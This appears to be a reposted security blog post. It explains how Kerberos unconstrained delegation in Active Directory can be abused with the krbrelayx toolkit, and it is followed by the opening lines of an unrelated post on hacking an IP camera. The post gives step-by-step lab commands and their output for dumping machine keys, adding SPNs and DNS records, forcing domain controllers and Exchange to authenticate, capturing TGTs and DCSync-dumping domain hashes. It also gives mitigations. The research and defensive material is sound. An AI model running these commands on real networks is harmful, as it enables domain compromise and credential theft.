“Relaying” Kerberos — Having fun with unconstrained delegation

Original text by Dirk-jan Mollema

There have been some interesting new developments recently to abuse Kerberos in Active Directory, and after my dive into Kerberos across trusts a few months ago, this post is about a relatively unknown (from attackers perspective), but dangerous feature: unconstrained Kerberos delegation. During the writing of this blog, this became quite a bit more relevant with the discovery of some intersting RPC calls that can get Domain Controllers to authenticate to you, which even allow for compromise across forest boundaries. Then there was the discovery of PrivExchange which can make Exchange authenticate in a similar way. Because tooling for unconstrained delegation abuse is quite scarce, I wrote a new toolkit, krbrelayx, which can abuse unconstrained delegation and get Ticket Granting Tickets (TGTs) from users connecting to your host. In this blog we will dive deeper into unconstrained delegation abuse and into some more advanced attacks that are possible with the krbrelayx toolkit.

Relaying Kerberos???

Before we start off, let’s clear up a possible confusion: no, you cannot actually relay Kerberos authentication in the way you can relay NTLM authentication. The reason the tool I’m releasing is called krbrelayx is because it works in a way similar to impackets ntlmrelayx (and shares quite some parts of the code). Kerberos tickets are partially encrypted with a key based on the password of the service a user is authenticating to, so sending this on to a different service is pointless as they won’t be able to decrypt the ticket (and thus we can’t authenticate). So what does this tool actually do? When Windows authenticates to service- or computeraccounts that have unconstrained delegation enabled, some interesting stuff happens (which I’ll explained later on) and those accounts end up with a usable TGT. If we (as an attacker) are the ones in control of this account, this TGT can then be used to authenticate to other services. Krbrelayx performs this in a similar way to when you are relaying with ntlmrelayx (with automatic dumping of passwords, obtaining DA privileges, or performing ACL based attacks), hence the similar naming. If you first want to read about what unconstrained delegation is on a high level, I recommend Sean Metcalf’s blog about it.

Attack requirements

To perform this unconstrained delegation attack, we already need to have a couple of requirements:

  1. Control over an account with unconstrained delegation privileges
  2. Permissions to modify the servicePrincipalName attribute of that account (optional)
  3. Permissions to add/modify DNS records (optional)
  4. A way to connect victim users/computers to us

Unconstrained delegation account

The first thing we need is an account that has unconstrained delegation privileges. This means an account that has the TRUSTED_FOR_DELEGATION UserAccountControl flag set. This can be on either a user account or a computer account. Any user in AD can query those accounts, using for example PowerView:

$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Or the ActiveDirectory Powershell module:

$computers = get-adcomputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
$user = get-aduser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Or they can be extracted using one of my own tools, ldapdomaindump, which will report users/computers that have this privilege with the TRUSTED_FOR_DELEGATION flag:

grep TRUSTED_FOR_DELEGATION domain_computers.grep
grep TRUSTED_FOR_DELEGATION domain_users.grep

Once we compromised an account, which means we have obtained the account password or Kerberos keys, we can decrypt Kerberos service tickets used by users authenticating to the service associated with the compromised account. Previous ways to abuse unconstrained delegation involve dumping the cached tickets from LSASS using for example Mimikatz or Rubeus, but this requires executing code on a compromised host. In this blog we’ll avoid doing that, and instead do the whole thing over the network from a host we fully control without having to worry about endpoint detection or crashing production servers by dumping processes (though this doesn’t apply to Rubeus since it uses native APIs).

For user accounts, passwords can be obtained the typical way, by Kerberoasting, cracking NTLMv1/NTLMv2 authentication, simply guessing weak passwords or dumping them from memory on compromised hosts. Computer accounts are harder to obtain since they do by default have very strong randomly generated passwords and their password/keys only reside on the host the account belongs to (or on the DC). When we have Administrator rights on the associated host, it becomes relatively easy since the computer account password is stored in the registry and thus can be obtained via the network with secretsdump.py, or by dumping the secrets with mimikatz lsadump::secrets. Both also support dumping secrets from offline registry hives.

To calculate the Kerberos keys from plaintext passwords, we also need to specify the salt. If you’re familiar with Kerberos, you’ll know that there are different encryption algorithms used. The weakest cipher supported by modern AD installs uses RC4, with a key based on the NTLM hash of the user (not including any salt). The AES-128 and AES-256 ciphers that Windows will pick by default however do include a salt, which we will need to include in the key calculation. The salt to calculate these keys is as follows:

  • For user accounts, it is the uppercase Kerberos realm name + case sensitive username
  • For computer accounts, it is the uppercase realm name + the word host + full lowercase hostname

The Kerberos realm name is the fully qualified domain name (FQDN) of the domain (so not the NETBIOS name!), the full hostname is also the FQDN of the host, not just the machine name, and does not include an $. The username used as salt for user accounts is the case-sensitive SAMAccountName (so if the user is called awEsOmEusER1 then awesomeuser1 will not generate the correct key).

For computer accounts, I’ve added functionality to secretsdump.py which will automatically dump the machine Kerberos keys if you run it against a host (you will need at least impacket 0.9.18 or run the latest development version from git). If it can’t figure out the correct salt for some reason you can specify this yourself to krbrelayx.py with the --krbpass or --krbhexpass (for hex encoded binary computer account passwords) and --krbsalt parameters. As a sidenote, this took me way longer than expected to implement since computer accounts passwords are random binary in UTF-16-LE, but Kerberos uses UTF-8 input for key deriviation. The UTF-16 bytes are however not valid unicode, which makes Python not too happy when you try to convert this to UTF-8. It took me a while to figure out that Microsoft implementations actually implicitly replace all invalid unicode characters when performing the conversion to UTF-8 for Kerberos keys. After telling python to do the same the keys started matching with those on my DC ¯\_(ツ)_/¯.

Control over ServicePrincipalName attribute of the unconstrained delegation account

After having obtained the Kerberos keys of the compromised account we can decrypt the tickets, but we haven’t discussed yet how to actually get hosts to authenticate to us using Kerberos. When a user or computer wants to authenticate with Kerberos to the host somehost.corp.com over SMB, Windows will send a request for a service ticket to the Domain Controller. This request will include the Service Principal Name (SPN), made up from the protocol and the host which the service is on. In this example this would be cifs/somehost.corp.com. The Domain Controller performs a lookup in the directory which account (if any) has this ServicePrincipalName assigned, and then uses the Kerberos keys associated with that account to encrypt the service ticket (I’m skipping on the technical details for now, you can find those in a later paragraph).

To make sure that victims authenticate to the account with unconstrained delegation and that we can decrypt the tickets, we need to make sure to send their traffic to a hostname of which the SPN is associated with the account we are impersonating. If we have the hostname attacker.corp.com and that SPN is not registered to the right account, the attack won’t work. The easiest way to do this is if we have control over an account that has privileges to edit attributes of the computer- or useraccount that we compromised, in which case we can just add the SPN to that account using the addspn.py utility that is included with krbrelayx:

user@localhost:~/adtools$ python addspn.py -u testsegment\\backupadmin -s host/testme.testsegment.local -t w10-outlook.testsegment.local ldap://s2016dc.testsegment.local
Password: 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

If we don’t have those privileges, it is a bit more complicated, and for user accounts I haven’t found a way to modify the SPNs without having those rights assigned. Computer accounts can by default add their own SPNs via the “Validated write to servicePrincipalName” right, but they can only write SPNs that match their full hostname or SAMAccountName. This would seem like a dead end, but there is a way around this! There is an additional validated write right, which allows computers to update their own msDS-AdditionalDnsHostName property, which got introduced in Server 2012 and contains additional hostnames for a computer object. According to the documentation, this validated write allows us to add any hostname which has the FQDN of the domain that we are in as a suffix, as long as we have the Validated-MS-DS-Additional-DNS-Host-Name validated write right. This right is not assigned by default:

SELF rights for computer objects

While playing with this property however, it turned out that the Validated-MS-DS-Additional-DNS-Host-Namevalidated write right isn’t actually needed to update the msDS-AdditionalDnsHostName property. The “Validated write to DNS host name”, which is enabled for computer objects by default, does also allow us to write to the msDS-AdditionalDnsHostName property, and allows us to assign any hostname within the current domain to the computer object, for which SPNs will then automatically be added. With this trick it is possible to add an SPN to our account that we can point to a hostname that is under the control of an attacker:

user@localhost:~/adtools$ python addspn.py -u testsegment\\w10-outlook\$ -p aad3b435b51404eeaad3b435b51404ee:7a99efdea0e03b94db2e54c85911af47 -s testme.testsegment.local s2016dc.testsegment.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
user@localhost:~/adtools$ python addspn.py -u testsegment\\w10-outlook\$ -p aad3b435b51404eeaad3b435b51404ee:7a99efdea0e03b94db2e54c85911af47 s2016dc.testsegment.local -q
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=W10-OUTLOOK,CN=Computers,DC=testsegment,DC=local - STATUS: Read - READ TIME: 2018-11-18T20:44:33.730958
    dNSHostName: W10-OUTLOOK.testsegment.local
    msDS-AdditionalDnsHostName: TESTME$
                                testme.testsegment.local
    sAMAccountName: W10-OUTLOOK$
    servicePrincipalName: TERMSRV/TESTME
                          TERMSRV/testme.testsegment.local
                          WSMAN/TESTME
                          WSMAN/testme.testsegment.local

If for whatever reason we can’t modify the SPN to a hostname under the attackers control, we can always hijack the current SPN by modifying the DNS record or using your favorite spoofing/mitm attack, though this will break connectivity to the host, which I wouldn’t recommend in production environments.

Permissions to add/modify DNS records

After adding a new SPN that points to a hostname not in use on the network, we of course need to make sure the hostname we added resolves to our own IP. If the network you are in uses Active Directory-Integrated DNS, this should be straighforward. As Kevin Robertson described in his blog about ADIDNS, by default any authenticated user can create new DNS records, as long as there is no record yet for the hostname. So after we add the SPN for attacker.corp.com to our unconstrained delegation account, we can add a record for this hostname that points to our IP using for example PowerMad (different hostname used as example):

powermad

I also added a tool to the krbrelayx repo that can perform DNS modifications (dnstool.py) in AD over LDAP:

user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a add -d 10.1.1.2 
Password: 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Afterwards we can see the record exists in DNS:

user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a query
Password: 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record attacker
DC=attacker,DC=internal.corp,CN=MicrosoftDNS,DC=DomainDnsZones,DC=internal,DC=corp
[+] Record entry:
 - Type: 1 (A) (Serial: 36)
 - Address: 10.1.1.2

And the record resolves after the DNS server refreshes the records from LDAP (which by default takes place every 180 seconds):

user@localhost:~/adtools$ nslookup attacker.internal.corp 192.168.111.2
Server:		192.168.111.2
Address:	192.168.111.2#53

Name:	attacker.internal.corp
Address: 10.1.1.2

The dnstool.py utility has several other options, including one to remove records again after exploitation, which I won’t go into in this post, but you can get the tool on GitHub. If modifying DNS does not work or the network you are in does not use AD for DNS, it is always possible to perform network attacks to take over the DNS server, though this often requires you to be in the same VLAN as the system. A way which should always work is modifying the compromised computers own DNS record, but this is almost a guarantee to break stuff and might take a while to propagate because of DNS caching.

Obtaining traffic

There are a multitude of ways now to obtain traffic from users to the attackers host. Any technique on the internet discussing NTLM authentication gathering techniques will work for getting users to authenticate to your rogue SMB or HTTP server. Some options are:

  • Phishing sites with a UNC path or redirect
  • Using responderInveigh or metasploit to reply to LLMNR/NBNS requests
  • Using mitm6 for DNS hijacking
  • Placing files with an icon linking to a UNC path on a popular file share within the network
  • Etc

Two very effective to obtain Domain Admin (equivalent) privileges via unconstrained delegation at the point of writing of this blog is to abuse bugs that require only regular user credentials to make a high value target connect to you. At this point, two important example are known:

  • SpoolService bug: There is a Remote Procedure Call part of the MS-RPRN protocol which causes remote computers to authenticate to arbitrary hosts via SMB. This was discovered by Lee Christensen aka @tifkin_ and called the “printer bug”. Harmj0y recently did a writeup on abusing this bug as well to perform unconstrained delegation attacks over forest trusts in his blog. The MS-RPRN protocol was also implemented in impacket by @agsolino, and of course I couldn’t resist writing a small utility for it as part of the krbrelayx toolkit, called printerbug.py, which triggers the backconnect.
  • PrivExchange: The Exchange Web Services (EWS) SOAP API exposes a method that subscribes to push notifications. This method can be called by any user with a mailbox and will make Exchange connect to any host we specify via HTTP. When requested, Exchange will (unless it is patched with the latest CU) authenticate with the computer account of the system Exchange is running on. This computer account has high privileges in the domain by default. I wrote about this in my previous blogand the privexchange.py tool is available here. Apart from NTLM relaying this authentication to LDAP, we can also use unconstrained delegation to obtain Exchange’s TGT and use that to perform an ACL based privilege escalation.

Use case 1: Gaining DC Sync privileges using a computer account and the SpoolService bug

In the first case we will abuse the unconstrained delegation privileges of a computer account in my internal.corp lab domain. We have obtained administrative privileges on this host by compromising the user testuser, which is a member of the Administrators group on this host. We will follow the steps outlined above, and first obtain the Kerberos keys and NTLM hashes:

user@localhost:~$ secretsdump.py testuser@icorp-w10.internal.corp
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

Password:
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x38f3153a77837cf2c5d04b049727a771
...cut...
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
ICORP\ICORP-W10$:aes256-cts-hmac-sha1-96:9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab
ICORP\ICORP-W10$:aes128-cts-hmac-sha1-96:a6e34ed07f7bffba151fedee4d6640fd
ICORP\ICORP-W10$:des-cbc-md5:91abd073c7a8e534
ICORP\ICORP-W10$:aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6:::

Now we add the SPN. We use the NTLM hash that we just dumped to authenticate as the machine account, which can modify it’s own SPN, but only via the msDS-AdditionalDnsHostName property as discussed earlier. We will use the addspn.py utility to add the SPN HOST/attacker.internal.corp to the computer account (which is used for SMB).

user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp -q icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=ICORP-W10,CN=Computers,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-09T21:55:23.923810
    dNSHostName: ICORP-W10.internal.corp
    sAMAccountName: ICORP-W10$
    servicePrincipalName: RestrictedKrbHost/ICORP-W10
                          HOST/ICORP-W10
                          RestrictedKrbHost/ICORP-W10.internal.corp
                          HOST/ICORP-W10.internal.corp

user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports a constrained violation
[!] You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)
[!] To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute
user@localhost:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

The SPN for attacker.internal.corp now exists on the victim account, but the DNS entry for it does not yet exist. We use the dnstool.py utility to add the record, pointing to the attacker IP:

user@localhost:~/krbrelayx$ python dnstool.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -r attacker.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
user@localhost:~/krbrelayx$ nslookup attacker.internal.corp 192.168.111.2
Server:		192.168.111.2
Address:	192.168.111.2#53

Name:	attacker.internal.corp
Address: 192.168.111.87

Now we get the Domain Controller to authenticate to us via the printer bug, while we start krbrelayx in export mode, in which all extracted TGTs will be saved to disk. We provide the AES256 key to krbrelayx, since this key will be used by default for computer accounts.

user@localhost:~/krbrelayx$ python printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 internal.corp/icorp-w10\$@icorp-dc.internal.corp attacker.internal.corp
[*] Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at icorp-dc.internal.corp
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Triggered RPC backconnect, this may or may not have worked

krbrelayx on a different screen:

user@localhost:~/krbrelayx$ sudo python krbrelayx.py -aesKey 9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server

[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.111.2
[*] Got ticket for ICORP-DC$@INTERNAL.CORP [krbtgt@INTERNAL.CORP]
[*] Saving ticket in ICORP-DC$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
[*] SMBD: Received connection from 192.168.111.2

This gives us a TGT of the domain controller account, which has DC Sync privileges in the domain, meaning we can extract the hashes of all the accounts in the directory.

user@localhost:~/krbrelayx$ export KRB5CCNAME=ICORP-DC\$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
user@localhost:~/krbrelayx$ secretsdump.py -k icorp-dc.internal.corp -just-dc
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a39494027fd39934e08a713c999e8cf3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:33168b759a89c059815d7aea5c27a3d9:::
...etc...

Use case 2: Abusing a service account and PrivExchange

The previous use case used a computer account and an SMB connection to obtain the TGT of a DC. While the above described method is the only way to perform this attack without executing code on the compromised host (all data is obtained via RPC calls, and the DC only connects to the attacker machine), usually it would be easier to trigger an SMB connection to the compromised host, dump LSASS memory and/or use Mimikatz or Rubeus to extract the TGTs from memory. This would not require modifying DNS records and SPNs. In the next case we will be using a user account (that is used as a service account) instead of a computer account. This is more complex or even impossible to exploit without modifying information in AD. If the user account is for example used for an MSSQL service, it would only be possible to extract the TGT from LSASS if we could somehow convince a victim to connect to the MSSQL service and also have Administrative access to the server to run the code that extracts the tickets from memory. By adding an extra SPN to the user account we can use existing tools such as the SpoolService bug or PrivExchange to exploit this via HTTP or SMB, without the need to touch the host on which this service is running at all.

This requires two things:

  • The password of the service account
  • Delegated control over the service account object

The password for the service account could have been previously obtained using a Kerberoast or password spraying attack. Delegated control over the account is required to add an SPN to the account, this control could be present because the service account is part of an Organisational Unit over which control was delegated to a sysadmin, or because we compromised an account in a high privilege group, such as Account Operators.

In this scenario we have control over a helpdesk user, which has been delegated the rights to manage users in the Service Accounts OU. We also discovered that the service account sqlserv has the weak password Internal01 set. This service account only has an SPN for the MSSQL service running on database.internal.corp. Since we want to escalate privileges via Exchange with PrivExchange, which connects over HTTP, we add a new SPN using this account for http/evil.internal.corp:

user@localhost:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp -q icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=sqlserv,OU=Service Accounts,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-27T15:26:16.580450
    sAMAccountName: sqlserv
    servicePrincipalName: MSSQL/database.internal.corp
user@localhost:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp icorp-dc.internal.corp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

As with the previous attack we add a DNS record to point to our attackers IP:

user@localhost:~/krbrelayx$ python dnstool.py -u icorp\\helpdesk -p Welkom01 -r evil.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Now we can start krbrelayx.py. Since we are working with a user account, by default tickets will be encrypted with RC4, so we need to calculate the NTLM hash of the password in order to decrypt them (we don’t need to bother with a Kerberos salt here because RC4 doesn’t use one).

import hashlib
print(hashlib.new('md4', 'Internal01'.encode('utf-16le')).hexdigest())

This hash we can pass to krbrelayx.py and we can start the server. This time instead of exporting the ticket we use it directly to connect to LDAP and grant our helpdesk user DCSync privileges using the -t ldap://icorp-dc.internal.corp flag. We run privexchange.py and krbrelayx.py at the same time:

user@localhost:~/privexchange$ python privexchange.py -u helpdesk -p Welkom01 -ah evil.internal.corp exchange.internal.corp -d internal.corp
INFO: Using attacker URL: http://evil.internal.corp/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

And see the attack doing it’s work in a very similar way to ntlmrelayx:

user@localhost:~/krbrelayx$ sudo python krbrelayx.py -hashes aad3b435b51404eeaad3b435b51404ee:d3026ba6ef6215da295175934b3d0e09 -t ldap://icorp-dc.internal.corp --escalate-user helpdesk
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.111.56, prompting for authentication
[*] HTTPD: Client requested path: /privexchange/
[*] HTTPD: Received connection from 192.168.111.56, prompting for authentication
[*] HTTPD: Client requested path: /privexchange/
[*] Got ticket for EXCHANGE$@INTERNAL.CORP [krbtgt@INTERNAL.CORP]
[*] Saving ticket in EXCHANGE$@INTERNAL.CORP_krbtgt@INTERNAL.CORP.ccache
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User helpdesk now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20190210-132437.restore

The advantage (for an attacker) of this is that this uses Kerberos functionality instead of NTLM relaying, and thus mitigations against NTLM relaying do not apply (but it does require much higher privileges to perform). We could also have avoided calculating the Kerberos hashes manually and specified those on the commandline with the correct salt, which makes krbrelayx calculate all the keys by itself:

python krbrelayx.py --krbpass Internal01 --krbsalt INTERNAL.CORPsqlserv -t ldap://icorp-dc.internal.corp --escalate-user helpdesk

Technical details — Unconstrained delegation flow

The previous paragraphs show us how we can abuse unconstrained delegatation, but we haven’t yet touched on how it all works under the hood. Let’s have a look at how a Windows 10 client uses Kerberos with unconstrained delegation. Some write-ups mention that whenever the Windows 10 client requests a service ticket to a host with unconstrained delegation, this ticket automatically includes a delegated version of a TGT. This is not how it actually works. Let’s look at what happens over the wire when a host authenticates to our attacker service.

When our user (testuser) logs in on the workstation, a TGT is requested from the DC (the KDC in this case). This is visible via two AS-REQs, the initial one which requests the TGT without any kind of information, and a second one in which preauthentication information is included.

Kerberos TGT request

In the reply to the first AS-REQ, we see that the server replies with the correct salt that should be used in case of AES key deriviation from the password:

Kerberos salt information

Now we make the client connect to our malicious SMB server hosted using krbrelayx. In the traffic we see two requests for a service ticket (TGS-REQ), and after some SMB traffic in which the Kerberos authentication is performed.

Kerberos TGS requests

Let’s take a closer look at these TGS requests. The first one is as expected, a service ticket is requested for the cifs/attacker.internal.corp SPN which we added to our account previously.

Kerberos request for service ticket

The second one however is interesting. This time the server requests a service ticket not for the service it is connecting to, but for the krbtgt/internal.corp SPN. This is similar to an AS-REQ request, in which this SPN is also used, but now it’s used in a TGS-REQ structure using the TGT with an authenticator. The second interesting part are the flags, especially the forwarded flag. This flag is used to request a TGT which can be used for delegation and will later be sent to the attacker’s rogue service.

Kerberos request for delegation ticket

How does Windows know whether it should request a forwarded TGT and send this to a server when authenticating? The encrypted ticket part has a ‘flags’ field, in which the ticket options are specified. RFC4120 defines an OK-AS-DELEGATE flag, which specifies that the target server is trusted for unconstrained delegation. Some changes made to getST.py from impacket show us that this flag is indeed set, it is easier however to just list the tickets in Windows with klist:

Service ticket with ok-as-delegate flag set

This command also shows us the forwarded TGT that will be sent to the attacker:

TGT with forwarded flag set

The attackers view

From the attackers perspective, we have set up krbrelayx and it is listening on port 445 and 80 to accept SMB and HTTP connections. When the victim connects to us (for which examples to trigger this are given above), they will authenticate with Kerberos if we request this. Unlike with NTLM authentication, which requires multiple messages back and forth, a client will directly send their Kerberos ticket upon authenticating. In both SMB and HTTP the GSS-API and SPNEGO protocols are used to wrap Kerberos authentication.

Whoever designed these protocols thought it would be a great idea to not only use ASN.1, but to mix ASN.1 with some custom binary constants in one structure (and to let part of that structure depend on the constant). This makes it pretty unusable with any standard ASN.1 library. Fortunately I did find some ways to hack around this, which is already an improvement on having to write your own ASN.1 parser.

Whywouldyoudothis

Once we reliably parsed the structure, we can see the AP_REQ message containing a Kerberos ticket and an authenticator. These are both important in Kerberos authentication:

  • The ticket is encrypted with the password of “our” service. It contains information that identifies the user who is authenticating, as well as an encrypted session key. This ticket is also used for authorization, since it contains a PAC with the groups the user is a member of.
  • The authenticator is an structure encrypted with the session key. It proves the client is in posession of this key and is used to authenticate the client.

When you see this in Wireshark, it is easy to notice the difference between a regular Kerberos AP_REQpacket and one where a TGT is sent along with it (unconstrained delegation). A regular AP_REQ packet will contain an encrypted ticket, which is the largest substructure in the AP_REQ structure. In the case of my test domain, the ticket is 1180 bytes. If unconstrained delegation is used, the largest substructure in the AP_REQis the authenticator, which contains the delegated TGT from the user. In my domain this is 1832 bytes. An authenticator that doesn’t contain a TGT is usually much smaller, around 400 bytes.

Using the previously calculated Kerberos keys, we decrypt the ticket and get the following structure:

EncTicketPart:
 flags=1084555264
 key=EncryptionKey:
  keytype=23
  keyvalue=0xbd88d929fc420e8b840f3e4bcd9346b6
 crealm=INTERNAL.CORP
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   testuser
 transited=TransitedEncoding:
  tr-type=1
  contents=
 authtime=20190216190927Z
 starttime=20190216190927Z
 endtime=20190217050927Z
 renew-till=20190223190927Z
 authorization-data=AuthorizationData:
  Sequence:
   ad-type=1
   ad-data=0x308202e230...e8bd0fb67130
  Sequence:
   ad-type=1
   ad-data=0x305d303fa0...6517b0000000000

Contained within are the ticket validity, the username of the ticket, some Authorization Data (which includes the user PAC), and an Encryption key. This Encryption key is the session key, with which we can decrypt the authenticator of the AP_REQ:

Authenticator:
 authenticator-vno=5
 crealm=INTERNAL.CORP
 cname=PrincipalName:
  name-type=1
  name-string=SequenceOf:
   testuser
 cksum=Checksum:
  cksumtype=32771
  checksum=0x100000000...a3997
 cusec=84
 ctime=20190216192428Z
 subkey=EncryptionKey:
  keytype=23
  keyvalue=0x2b340c020be62cbd6284fd2977c5e303
 seq-number=1035294623
 authorization-data=AuthorizationData:
  Sequence:
   ad-type=1
   ad-data=0x3081...005000

Here we see again the user that authenticated, another encryption key (subkey), more authorization data, and a checksum (which I’ve cut short). The checksum is the interesting part. If it’s value is equal to 32771 (or 0x8003) it means that it is a KRBv5 checksum, which is a special structure defined in RFC4121 section 4.1.1 (apparently the authors of the RFC were also tired of ASN.1, introducing another custom format for transferring binary data).

Within this checksum field, (if the correct flags are set), we can find a KRB_CRED structure (back to ASN.1!) which contains the delegated TGT.

KRB_CRED:
 pvno=5
 msg-type=22
 tickets=SequenceOf:
  Ticket:
   tkt-vno=5
   realm=INTERNAL.CORP
   sname=PrincipalName:
    name-type=2
    name-string=SequenceOf:
     krbtgt     INTERNAL.CORP
   enc-part=EncryptedData:
    etype=18
    kvno=2
    cipher=0xe70d38ec...c2ec0e
 enc-part=EncryptedData:
  etype=23
  cipher=0xdea2c107a...850ba2a285

There is one more step separating us from obtaining our TGT, which is decrypting the enc-part. This encrypted part of the KRB_CRED structure contains the ticket information, including the session key associated with the delegated TGT, which we need to request service tickets at the DC. After decryption, the tickets are saved to disk, either in ccache format, which is used by impacket, or in kirbi format (which is the name used by Mimikatz for KRB_CRED structured files). The delegated TGT can now be used by other tools to authenticate to any system in the domain.

If this wasn’t detailled enough for you yet, all the steps described in this section are outlined in the kerberos.py file of krbrelayx. If you uncomment the print statements at various stages you can view the full structures.

Mitigations and detection

The most straightforward mitigation is to avoid using unconstrained delegation wherever possible. Constrained delegation is much safer and while it can be abused as well, constrained delegation only allows for authentication to services which you explicitly specify, making it possible to make a risk analysis for individual services. Unconstrained delegation makes this depend on whichever user connects to the service, which then has their credentials exposed. If running accounts with unconstrained delegation rights cannot be avoided, the following mitigations can be applied:

  • Make sure to guard the systems that have these privileges as sensitive assets from which domain compromise is likely possible.
  • Protect sensitive accounts by enabling the option “Account is sensitive and cannot be delegated” option.
  • Place administrative accounts in the “Protected Users” group, which will prevent their credentials from being delegated.
  • Make sure that administrative accounts perform their actions from up-to-date workstations with Credential Guard enabled, which will prevent credential delegation.

Regarding detection, Roberto Rodriguez from Specterops wrote an article a while back about the exact events involved with unconstrained delegation which allow detection of unconstrained delegation abuse.

Tooling

The tools are available on my GitHub: https://github.com/dirkjanm/krbrelayx Please read the README for install instructions and TODO items/limitations!

Реклама

Achieving remote code execution on a Chinese IP camera

Original text by Maurits van Altvorst

Background

Cheap Chinese Internet of Things devices are on the rise. Unfortunately, security on these devices is often an afterthought. I recently got my hands on an “Alecto DVC-155IP” IP camera. It has Wi-Fi, night vision, two-axis tilt and yaw control, motion sensing and more. My expectations regarding security were low, but this camera was still able to surprise me.

The Alecto DVC-155IP

Setting up the camera

Setting up the camera using the app was a breeze. I had to enter my Wi-Fi details, a name for the camera and a password. Nothing too interesting so far.

Using Nmap on the camera gave me the following results:

➜  ~ nmap -A 192.168.178.59
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 12:59 CET
Nmap scan report for 192.168.178.59
Host is up (0.010s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
23/tcp  open  telnet  BusyBox telnetd
80/tcp  open  http    thttpd 2.25b 29dec2003
|_http-server-header: thttpd/2.25b 29dec2003
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
554/tcp open  rtsp    HiLinux IP camera rtspd V100R003 (VodServer 1.0.0)
